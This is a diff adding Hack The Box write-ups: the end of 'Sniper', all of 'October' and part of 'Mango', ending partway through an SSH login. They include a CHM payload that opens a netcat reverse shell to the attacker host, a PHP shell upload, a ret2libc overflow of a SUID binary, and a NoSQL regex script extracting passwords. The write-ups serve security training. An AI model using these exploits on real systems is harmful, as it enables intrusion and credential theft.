/dev/pts/4 ] [~/HTB/sniper] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.151] 49770 + Microsoft Windows [Version 10.0.17763.678] + (c) 2018 Microsoft Corporation. All rights reserved. + + C:\Users\Chris\Documents>whoami + whoami + sniper\chris + + C:\Users\Chris\Documents>cd .. + cd .. + + C:\Users\Chris>cd Desktop + cd Desktop + + C:\Users\Chris\Desktop>type user.txt + type user.txt + 21XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to gain root access to the box we look for clues on the box, such as in the **C:\Docs** directory: + + + C:\Users\Chris>cd C:\Docs + cd C:\Docs + + C:\Docs>dir + dir + Volume in drive C has no label. + Volume Serial Number is 6A2B-2640 + + Directory of C:\Docs + + 10/01/2019 01:04 PM DIR> . + 10/01/2019 01:04 PM DIR> .. + 04/11/2019 09:31 AM 285 note.txt + 04/11/2019 09:17 AM 552,607 php for dummies-trial.pdf + 2 File(s) 552,892 bytes + 2 Dir(s) 17,984,839,680 bytes free + + C:\Docs>type note.txt + type note.txt + Hi Chris, + Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it. + + Regards, + Sniper CEO. + + +So here we know that the CEO wants Chris to drop a documentation file in **C:\Docs**. And we get another hint at what type of file the CEO wants when we look at Chris's downloads folder: + + + PS C:\Users\chris\downloads> dir + dir + + + Directory: C:\Users\chris\downloads + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 4/11/2019 8:36 AM 10462 instructions.chm + + + + +This is a hint that we need to create a malicious **.chm** file (Microsoft Compiled HTML Help file) in **C:\Docs**. We can use Nishang's Out-CHM powershell script for that: + + + + [ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper] + → locate Out-CHM.ps1 + /usr/share/nishang/Client/Out-CHM.ps1 + + [ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper] + → cp /usr/share/nishang/Client/Out-CHM.ps1 . + + [ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper] + → python3 -m http.server 8080 + Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... + + + +Let's download it onto the box: + + + PS C:\Users\chris\downloads> powershell.exe -ExecutionPolicy Bypass + PS C:\Users\chris\downloads> iwr -uri http://10.10.14.11:8080/Out-CHM.ps1 -o chm.ps1 + iwr -uri http://10.10.14.11:8080/Out-CHM.ps1 -o chm.ps1 + PS C:\Users\chris\downloads> dir + dir + + + Directory: C:\Users\chris\downloads + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 6/21/2021 11:15 AM 19500 chm.ps1 + -a---- 4/11/2019 8:36 AM 10462 instructions.chm + + + +Now for whatever reason we can't use that ps1 file ON the box so instead we're going to use it on a windows VM: + + + PS C:\Users\Administrator\Desktop> iwr -uri http://10.0.0.10:8080/Out-CHM.ps1 -o chm.ps1 + PS C:\Users\Administrator\Desktop> import-module .\chm.ps1 + + + + Out-CHM -Payload "cd C:/temp4chris/nc64.exe 10.10.14.11 9003 -e cmd.exe" + + +Now apparently you can't compile this without having Microsoft Compiled HTML Help on your own system, which WS2019 cannot have, so instead we're going to get it on Windows 10 + + + PS C:\Users\nothing\Desktop\Temp> iwr -uri http://10.0.0.10:8080/Out-CHM.ps1 -o chm.ps1 + PS C:\Users\nothing\Desktop\Temp> import-module .\chm.ps1 + + + +Make sure you untick everything about malware protection in windows because it will get flagged otherwise. Next step is to install htmlhelp on our local machine: + +![](prg/49_013.png) ![](prg/49_014.png) + +Once it's done installing, we compile the malicious .chm file: + + + PS C:\Users\nothing\Desktop\Temp> Out-CHM -Payload "powershell c:\temp4chris\nc64.exe 10.10.14.11 9003 -e powershell" -HHCPath "C:\Program Files (x86)\HTML Help Workshop" + Microsoft HTML Help Compiler 4.74.8702 + + Compiling c:\Users\nothing\Desktop\Temp\doc.chm + + + Compile time: 0 minutes, 0 seconds + 2 Topics + 4 Local links + 4 Internet links + 0 Graphics + + + Created c:\Users\nothing\Desktop\Temp\doc.chm, 13,454 bytes + Compression increased file by 266 bytes. + PS C:\Users\nothing\Desktop\Temp> dir + + + Directory: C:\Users\nothing\Desktop\Temp + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 6/21/2021 1:45 PM 13454 doc.chm + -a---- 6/21/2021 1:39 PM 3507384 htmlhelp.exe + + + + +Now we move that doc.chm file into our smb share: + + + [ 10.10.14.11/23 ] [ /dev/pts/27 ] [~/HTB/sniper] + → cd /srv/smb + + [ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb] + → sudo !! + + [ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb] + → sudo wget https://lainsafe.duckdns.org/files/162427600178629.chm -O doc.chm + [sudo] password for nothing: + --2021-06-21 13:47:11-- https://lainsafe.duckdns.org/files/162427600178629.chm + Resolving lainsafe.duckdns.org (lainsafe.duckdns.org)... 159.203.11.15 + Connecting to lainsafe.duckdns.org (lainsafe.duckdns.org)|159.203.11.15|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 13454 (13K) [application/octet-stream] + Saving to: ‘doc.chm’ + + doc.chm 100%[======================================================>] 13.14K --.-KB/s in 0s + + 2021-06-21 13:47:13 (312 MB/s) - ‘doc.chm’ saved [13454/13454] + + [ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb] + → ls -lash + total 76K + 4.0K drwxr-xr-x 2 root root 4.0K Jun 21 13:47 . + 4.0K drwxr-xr-x 4 root root 4.0K Jun 21 11:33 .. + 16K -rw-r--r-- 1 root root 14K Jun 21 13:46 doc.chm + 44K -rw-r--r-- 1 root root 43K Jun 21 12:40 nc64.exe + 8.0K -rw-r--r-- 1 nothing nothing 7.1K Jun 21 11:13 webshell.php + + + + +Now from here we basically copy the **doc.chm** file into **C:\Docs** + + + PS C:\Users\chris\downloads> cd C:\Docs + cd C:\Docs + PS C:\Docs> cp \\10.10.14.11\nihilist\doc.chm + cp \\10.10.14.11\nihilist\doc.chm + + +And shortly after we recieve the reverse shell connection because our doc.chm file payload got executed: + + + [ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb] + → nc -lvnp 9003 + listening on [any] 9003 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.151] 49778 + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + PS C:\Windows\system32> whoami + whoami + sniper\administrator + PS C:\Windows\system32> cd C:\Users\Administrator\Desktop + cd C:\Users\Administrator\Desktop + PS C:\Users\Administrator\Desktop> type root.txt + type root.txt + 56XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the root flag after recieving the administrator reverse shell connection. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/49_graph.png) + diff --git a/Medium/5.md b/Medium/5.md new file mode 100644 index 0000000..f43e227 --- /dev/null +++ b/Medium/5.md @@ -0,0 +1,323 @@ +# October Writeup + +![](img/5.png) + +## Introduction : + +October is a medium Linux box released back in April 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -F 10.10.10.16 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 11:46 GMT + Nmap scan report for 10.10.10.16 + Host is up (0.13s latency). + Not shown: 98 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 4.21 seconds + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -sCV -p80,22 10.10.10.16 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 11:46 GMT + Nmap scan report for 10.10.10.16 + Host is up (0.098s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA) + | 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA) + | 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA) + |_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519) + 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) + | http-methods: + |_ Potentially risky methods: PUT PATCH DELETE + |_http-server-header: Apache/2.4.7 (Ubuntu) + |_http-title: October CMS - Vanilla + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 12.01 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running the October CMS on Apache, which is based on the [php laravel framework](https://octobercms.com/). let's check out the /backend default administrator login page with the default credentials admin:admin: + +![](prg/5_001.png)![](prg/5_002.png) + +And we're in ! we have been able to login as the admin user. Now we move over to the media tab, for us to upload our reverse php shell , after renaming it to nihilist.php5 + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → locate nihilist.php + /home/nihilist/_HTB/Bastard/nihilist.php + /home/nihilist/_HTB/Cronos/nihilist.php + /home/nihilist/_HTB/Networked/nihilist.php.gif + /home/nihilist/_HTB/Popcorn/nihilist.php + /home/nihilist/_HTB/Popcorn/nihilist.php.gif + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → cp /home/nihilist/_HTB/Popcorn/nihilist.php . + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → ls + nihilist.php + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → nano nihilist.php + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → mv nihilist.php nihilist.php5 + + +` ![](prg/5_003.png) + +and we get a reverse shell ! let's see if we can print out the user flag : + + + www-data@october:/var/www/html/cms/storage/app/media$ cat /home/harry/user.txt + cat /home/harry/user.txt + 29XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag :) + +## **Part 3 : Getting Root Access** + +From here we need to privesc so our first reflex here is checking sudo -l after spawning a tty shell using python's pty library. + + + www-data@october:/var/www/html/cms/storage/app/media$ sudo -l + sudo -l + sudo: no tty present and no askpass program specified + www-data@october:/var/www/html/cms/storage/app/media$ python -c 'import pty;pty.spawn("/bin/sh")' + python -c 'import pty;pty.spawn("/bin/sh")' + $ sudo -l + sudo -l + [sudo] password for www-data: + + + +Out of luck, we need a password to see it's output, so let's try something else : + + + $ for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done + for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done + /bin/umount + /bin/ping + /bin/fusermount + /bin/su + /bin/ping6 + /bin/mount + /sbin/unix_chkpwd + /usr/bin/mail-unlock + /usr/bin/sudo + /usr/bin/ssh-agent + /usr/bin/mail-touchlock + /usr/bin/mlocate + /usr/bin/screen + /usr/bin/newgrp + /usr/bin/pkexec + /usr/bin/passwd + /usr/bin/chfn + /usr/bin/mail-lock + /usr/bin/bsd-write + /usr/bin/gpasswd + /usr/bin/traceroute6.iputils + /usr/bin/mtr + /usr/bin/chsh + /usr/bin/expiry + /usr/bin/wall + /usr/bin/crontab + /usr/bin/at + /usr/bin/dotlockfile + /usr/bin/chage + /usr/sbin/pppd + /usr/sbin/uuidd + /usr/local/bin/ovrflw + + +the file ovrflw is an executable who has the root SUID permission, let's copy it locally and see what we can do with it : + + + $ cat ovrflw | base64 -w0 + cat ovrflw | base64 -w0 + + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → echo 'f0VMRgEBAQ [...] VORF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX2luaXQA' | base64 -d >ovrflw + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → file ovrflw + ovrflw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → strings ovrflw | grep strcpy + strcpy + strcpy@@GLIBC_2.0 + + +the strcpy function there in the file indicates we can perform buffer overflows, so let's check if the binary has any security implemented using gdb : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October] + → gdb ./ovrflw + GNU gdb (Debian 8.3.1-1) 8.3.1 + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + Reading symbols from ./ovrflw... + (No debugging symbols found in ./ovrflw) + gdb-peda$ checksec + CANARY : disabled + FORTIFY : disabled + NX : ENABLED + PIE : disabled + RELRO : Partial + + +NX (non executable) is enabled so we can't just put shellcode in, let's makeit run and see if we can get any specific memory addresses : + + + gdb-peda$ b main + Breakpoint 1 at 0x8048480 + + +now that we know main is at memory address 0x8048480 , we create a pattern to find the offset : + + + gdb-peda$ pattern create 200 + 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' + + gdb-peda$ pset arg 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' + + +Now let's run the binary file passing the pattern as parameter : + + + gdb-peda$ r + Starting program: /home/nihilist/_HTB/October/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' + [----------------------------------registers-----------------------------------] + EAX: 0xf7faf548 --> 0xffffd1b0 --> 0xffffd444 ("SSH_AUTH_SOCK=/tmp/ssh-IfR9D4YJXt1D/agent.2412") + EBX: 0x0 + ECX: 0xa1b0a267 + EDX: 0xffffd134 --> 0x0 + ESI: 0xf7fad000 --> 0x1d6d6c + EDI: 0xf7fad000 --> 0x1d6d6c + EBP: 0xffffd108 --> 0x0 + ESP: 0xffffd108 --> 0x0 + EIP: 0x8048480 (<****main+3>: and esp,0xfffffff0) + EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) + [-------------------------------------code-------------------------------------] + 0x8048478 <****frame_dummy+40>: jmp 0x80483f0 <****register_tm_clones> + 0x804847d <****main>: push ebp + 0x804847e <****main+1>: mov ebp,esp + => 0x8048480 <****main+3>: and esp,0xfffffff0 + 0x8048483 <****main+6>: add esp,0xffffff80 + 0x8048486 <****main+9>: cmp DWORD PTR [ebp+0x8],0x1 + 0x804848a <****main+13>: jg 0x80484ad <****main+48> + 0x804848c <****main+15>: mov eax,DWORD PTR [ebp+0xc] + [------------------------------------stack-------------------------------------] + 0000| 0xffffd108 --> 0x0 + 0004| 0xffffd10c --> 0xf7df4811 ( <__libc_start_main+241>: add esp,0x10) + 0008| 0xffffd110 --> 0x2 + 0012| 0xffffd114 --> 0xffffd1a4 --> 0xffffd35c ("/home/nihilist/_HTB/October/ovrflw") + 0016| 0xffffd118 --> 0xffffd1b0 --> 0xffffd444 ("SSH_AUTH_SOCK=/tmp/ssh-IfR9D4YJXt1D/agent.2412") + 0020| 0xffffd11c --> 0xffffd134 --> 0x0 + 0024| 0xffffd120 --> 0x1 + 0028| 0xffffd124 --> 0x0 + [------------------------------------------------------------------------------] + Legend: code, data, rodata, value + + Breakpoint 1, 0x08048480 in main () + + + +and we continue the execution of the program, and we see that the pattern is recognised at the memory address 0x41384141, running the pattern_offset at this address, with our pattern length of 200, we see that the offset is 112 + + + gdb-peda$ c + Continuing. + + Program received signal SIGSEGV, Segmentation fault. + [----------------------------------registers-----------------------------------] + EAX: 0x0 + EBX: 0x0 + ECX: 0xffffd440 --> 0x417941 ('AyA') + EDX: 0xffffd161 --> 0x417941 ('AyA') + ESI: 0xf7fad000 --> 0x1d6d6c + EDI: 0xf7fad000 --> 0x1d6d6c + EBP: 0x6941414d ('MAAi') + ESP: 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + EIP: 0x41384141 ('AA8A') + EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) + [-------------------------------------code-------------------------------------] + Invalid $PC address: 0x41384141 + [------------------------------------stack-------------------------------------] + 0000| 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + 0004| 0xffffd114 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + 0008| 0xffffd118 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + 0012| 0xffffd11c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + 0016| 0xffffd120 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + 0020| 0xffffd124 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + 0024| 0xffffd128 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + 0028| 0xffffd12c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") + [------------------------------------------------------------------------------] + Legend: code, data, rodata, value + Stopped reason: SIGSEGV + 0x41384141 in ?? () + gdb-peda$ pattern_offset 0x41384141 200 + 1094205761 found at offset: 112 + + +now that we have our offset, we start enumerating the memory addresses of the other functions within the binary, most notably the following : + + + System = 0xb75e5310 + Exit = 0xb75d8260 + /bin/sh = 0xb7707bac + little endian format = “\x10\x53\x5e\xb7\x60\x82\x5d\xb7\xac\x7b\x70\xb7” + + +and then accordingly we use python to abuse this binary file and effectively reach our root privileges : + + + $ while true; do /usr/local/bin/ovrflw $(python -c 'print "A" * 112 + "\x10\x53\x5e\xb7\x60\x82\x5d\xb7\xac\x7b\x70\xb7"');done + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + Segmentation fault (core dumped) + + # id + id + uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data) + # cat /root/root.txt + cat /root/root.txt + 6bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +and that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/5_graph.png) + diff --git a/Medium/50.md b/Medium/50.md new file mode 100644 index 0000000..82ba850 --- /dev/null +++ b/Medium/50.md @@ -0,0 +1,481 @@ +# Mango Writeup + +![](img/50.png) + +## Introduction : + +Mango is a Medium linux box released back in October 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/mango] + → nmap -sCV -p22,80,443 10.10.10.162 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-22 09:05 CEST + Nmap scan report for 10.10.10.162 + Host is up (0.46s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA) + | 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA) + |_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519) + 80/tcp open http Apache httpd 2.4.29 + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: 403 Forbidden + 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Mango | Search Base + | ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN + | Not valid before: 2019-09-27T14:21:19 + |_Not valid after: 2020-09-26T14:21:19 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 40.36 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 with the domain name **staging-order.mango.htb** so let's investigate it after we add it to our hosts file: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/mango] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.162 staging-order.mango.htb mango.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 mango.htb ; ping -c1 staging-order.mango.htb + PING staging-order.mango.htb (10.10.10.162) 56(84) bytes of data. + 64 bytes from staging-order.mango.htb (10.10.10.162): icmp_seq=1 ttl=63 time=466 ms + + --- staging-order.mango.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 466.188/466.188/466.188/0.000 ms + PING staging-order.mango.htb (10.10.10.162) 56(84) bytes of data. + 64 bytes from staging-order.mango.htb (10.10.10.162): icmp_seq=1 ttl=63 time=461 ms + + --- staging-order.mango.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 460.854/460.854/460.854/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/mango] + → + + + +Now mango.htb gives us a 403 forbidden error message: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/mango] + → curl mango.htb + + 403 Forbidden + + + # Forbidden + + + + + You don't have permission to access this resource. + + + + + * * * + + + Apache/2.4.29 (Ubuntu) Server at mango.htb Port 80 + + + +However the **staging-order** subdomain has something else for us: + +![](prg/50_001.png) + +Now we intercept the POST login request with burpsuite, and send it to the repeater: + +![](prg/50_002.png) + +Now once we send the request, we see that it just puts us back at the login page with nothing interesting to debug the logins themselves. + +![](prg/50_003.png) + +So instead we're going to use ffuf to find webpages: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/mango] + → ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -fc 403 -u http://staging-order.mango.htb**/FUZZ** + + /'___\ /'___\ /'___\ + /\ \__/ /\ \__/ __ __ /\ \__/ + \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ + \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ + \ \_\ \ \_\ \ \____/ \ \_\ + \/_/ \/_/ \/___/ \/_/ + + v1.3.1 Kali Exclusive + ________________________________________________ + + :: Method : GET + :: URL : http://staging-order.mango.htb/FUZZ + :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + :: Follow redirects : false + :: Calibration : false + :: Timeout : 10 + :: Threads : 50 + :: Matcher : Response status: 200,204,301,302,307,401,403,405 + :: Filter : Response status: 403 + ________________________________________________ + + # [Status: 200, Size: 4022, Words: 447, Lines: 210] + # [Status: 200, Size: 4022, Words: 447, Lines: 210] + + [...] + + **vendor [Status: 301, Size: 335, Words: 20, Lines: 10]** + [WARN] Caught keyboard interrupt (Ctrl-C) + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/mango] + → ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 50 -fc 403 -u http://staging-order.mango.htb**/vendor/FUZZ** + + /'___\ /'___\ /'___\ + /\ \__/ /\ \__/ __ __ /\ \__/ + \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ + \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ + \ \_\ \ \_\ \ \____/ \ \_\ + \/_/ \/_/ \/___/ \/_/ + + v1.3.1 Kali Exclusive + ________________________________________________ + + :: Method : GET + :: URL : http://staging-order.mango.htb/vendor/FUZZ + :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt + :: Follow redirects : false + :: Calibration : false + :: Timeout : 10 + :: Threads : 50 + :: Matcher : Response status: 200,204,301,302,307,401,403,405 + :: Filter : Response status: 403 + ________________________________________________ + + **composer [Status: 301, Size: 344, Words: 20, Lines: 10]** + [WARN] Caught keyboard interrupt (Ctrl-C) + + + +Here we found the **/vendor/composer/** directory, [composer](https://en.wikipedia.org/wiki/Composer_\(software\)) is a PHP dependency manager that provides a standard format for managing dependencies of PHP software and required libraries. Composer usually contains a file called **installed.json** so we browse to see if it's there: + +![](prg/50_004.png) + +And since we have been able to verify that the box has a [mongodb NoSQL](https://www.mongodb.com/nosql-explained) backend we can now assume that we need to perform a [NoSQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) + +![](prg/50_005.png) + +So here we have a few potential NoSQL injections to try out, but the one we need here is the **[$ne]** (not equal) authentication bypass exploit: + +![](prg/50_006.png) + +We attempt the not equal ([$ne]) authentication bypass and succeed to login as the admin user, however we don't get anything interesting after logging in: + +![](prg/50_007.png) + +so instead when we take another look at the payloadallthethings nosql cheatsheet, we see that it is possible to extract informations from the database via regex: + +![](prg/50_008.png) + +So we make the following python script to automate this information disclosure: + + + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/mango] + → cat injection.py + import requests + + def inject(data): + r = requests.post('http://staging-order.mango.htb/', data=data, allow_redirects=False) + if r.status_code != 200: + return True + + secret = "" + payload= "" + while True: + data = { "username[$regex]":"^" + payload + "$", "password[$ne]":"admin", "login":"login" } + if inject(data): + break + for i in range(32,126): + if chr(i) in ['.','?','*','^']: + payload = secret + "\\" + chr(i) + else: + payload = secret +chr(i) + print("\r" + payload, flush=False, end='') + data = { **"username":"admin", "password[$regex]":"^" + payload** , "login":"login" } + if inject(data): + print("\r" + payload, flush=True, end='' ) + secret= secret + chr(i) + break + print() + + + +We're going to try to get the admin password: + + + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/mango] + → python3 injection.py + t++9++K++c++S++3++>!++0++B#++2$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + + + +And as you can see it matches the **$** as being the end of the line, however the + symbol is a bad character so we need to filter it: + + + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/mango] + → vim injection.py + + [...] + + if chr(i) in ['.','?','*','^','+']: + + [...] + + :wq + + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/mango] + → python3 injection.py + t9KcS3>!0B#2$$$$$$$$ + + +Now that we have the admin credentials **admin:t9KcS3>!0B#2** , now let's get the mango user's password: + + + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/mango] + → vim injection.py + + [...] + + for i in range(32,127): + if chr(i) in ['.','?','*','^', '+', '|']: + + [...] + + data = { **"username":"mango", "password[$regex]":"^" + payload** , "login":"login" } + + [...] + + :wq + + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/mango] + → python3 injection.py + h3mXK8RhU~f{]f5H$$$$$$$$$$$$$$$$$ + + +So now we have mango's credentials: **mango:h3mXK8RhU~f{]f5H** + +So let's login via SSH: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/mango] + → ssh mango@10.10.10.162 + The authenticity of host '10.10.10.162 (10.10.10.162)' can't be established. + ECDSA key fingerprint is SHA256:AhHG3k5r1ic/7nEKLWHXoNm0m28uM9W8heddb9lCTm0. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.162' (ECDSA) to the list of known hosts. + mango@10.10.10.162's password: + Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Tue Jun 22 09:45:28 UTC 2021 + + System load: 0.0 Processes: 102 + Usage of /: 25.8% of 19.56GB Users logged in: 0 + Memory usage: 